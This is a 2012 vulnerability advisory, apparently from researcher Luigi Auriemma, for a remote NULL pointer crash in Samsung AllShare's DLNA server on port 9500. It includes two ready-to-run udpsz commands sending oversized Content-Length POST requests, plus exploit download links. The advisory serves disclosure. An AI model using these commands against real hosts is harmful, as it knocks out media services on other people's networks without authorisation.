Samsung AllShare 2.1.1.0 NULL Pointer Deference

                                                #######################################################################

                             Luigi Auriemma

Application:  Samsung AllShare
              http://www.samsung.com/global/allshare/pcsw/
Versions:     <= 2.1.1.0
Platforms:    Windows
Bug:          NULL pointer
Exploitation: remote
Date:         18 Jun 2012
Author:       Luigi Auriemma
              e-mail: [email protected]
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"The AllShare software enables your PC to run many AllShare services.
It can share videos, photos, and music between your PC and other
devices that support the AllShare service by using your local network
for streaming playback."


#######################################################################

======
2) Bug
======


The DLNA server listening on port 9500 can be crashed remotely due to
a NULL pointer dereference caused by the failed allocation of a big
amount of memory specified in Content-Length and the tentative of
copying data in this NULL buffer.

If Content-Length is between 4294967262 and 4294967293 the effect will
be an unhandled exception in MSVCR90.calloc.

The vulnerability is located in the lupin3 (libpin3) library.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
http://www.exploit-db.com/sploits/19289.zip

  udpsz -c "POST /DocumentViewer/Control/blah HTTP/1.1\r\nCONTENT-LENGTH: 2147483647\r\n\r\n" -T SERVER 9500 -1
or
  udpsz -c "POST /DocumentViewer/Control/blah HTTP/1.1\r\nCONTENT-LENGTH: 4294967293\r\n\r\n" -T SERVER 9500 -1



#######################################################################

======
4) Fix
======


No fix.


#######################################################################